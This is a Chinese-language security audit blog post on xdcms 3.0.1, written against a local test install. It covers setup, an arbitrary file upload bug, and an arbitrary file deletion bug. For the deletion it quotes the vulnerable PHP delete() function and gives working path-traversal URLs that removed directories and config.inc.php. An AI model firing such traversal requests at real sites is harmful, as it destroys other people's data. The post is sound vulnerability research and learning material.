前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xdcms3.0.1审计

xdcms3.0.1审计

原创
作者头像
c2k2o6
发布2022-02-13 15:16:49
3770
发布2022-02-13 15:16:49
举报
文章被收录于专栏:c2k2o6
  • 环境搭建
  • 后台任意文件上传
  • 任意文件删除
  • 参考

环境搭建

本地环境 Apache/2.4.46 (Unix) PHP/7.2.34

图片
图片

开始安装报错

图片
图片

eregi_replace函数没有定义

php7环境下无法使用eregi_replace函数 需要用preg_replace函数来替换

这里我的办法是修改本地环境为php5 windows上用phpstudy可以直接修改php环境 在linux或者mac电脑上需要修改apache配置文件,然后重启apache /usr/local/etc/httpd/httpd.conf

代码语言:javascript
复制
# LoadModule php7_module /usr/local/Cellar/php@7.2/7.2.34_1/lib/httpd/modules/libphp7.so
LoadModule php5_module /usr/local/Cellar/php@5.6/5.6.40/lib/httpd/modules/libphp5.so
保存退出

sudo apachectl restart 重启apache

图片
图片
图片
图片
图片
图片

chmod -R 777 xdcms

修改目录权限即可

图片
图片

配置数据库以及后台密码

后台任意文件上传

图片
图片

添加文件上传格式限制即可

任意文件删除

代码语言:javascript
复制
$ sudo chown www asd.php

$ ls -al
total 0
drwxr-xr-x   3 asura  staff   96  4 19 21:56 .
drwxrwxrwx  12 asura  staff  384  4 19 21:21 ..
-rwxrwxrwx@  1 _www   staff    0  4 19 21:56 asd.php
代码语言:javascript
复制
/usr/local/var/www/xdcms/system/modules/xdcms/data.php
public function delete(){
  $file = trim($_GET["file"]);
  # trim 一下 移除 字符串两侧的空白字符 \n \0 \t \x0B \r  
  $dir = DATA_PATH . 'backup/' . $file;
  if(is_dir($dir)){
    //删除文件夹中的文件
    if (false != ($handle = opendir ( $dir ))) {
      # 目录 句柄
      while ( false !== ($file = readdir ( $handle )) ) {
        # 读取 目录 下的 文件 
        if ($file != "." && $file != ".." && strpos($file,".")){
          # 文件 不是 . 也不是 ..  并且 文件也有 后缀  也有 .
          echo $dir . "/" . $file;
          echo system("whoami");
          unlink($dir."/".$file);
          // @unlink($dir."/".$file);
        }
      }
      closedir($handle);
    }
    @rmdir($dir);//删除目录
  }
  showmsg(C('success'),'-1');
}

/index.php?m=xdcms&c=data&f=delete&file=../../../

图片
图片

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../qwe

图片
图片

qwe目录及下面的文件asd.php被删除

图片
图片

http://127.0.0.1:8886/xdcms/index.php?m=xdcms&c=data&f=delete&file=../../data1

图片
图片

删除了data1目录下的config.inc.php

参考

新手入门代码审计(1)--xdcms-3.0.1

xdcms_3.0.1 | 代码审计

https://www.seebug.org/vuldb/ssvid-88734

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
  • 后台任意文件上传
  • 任意文件删除
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档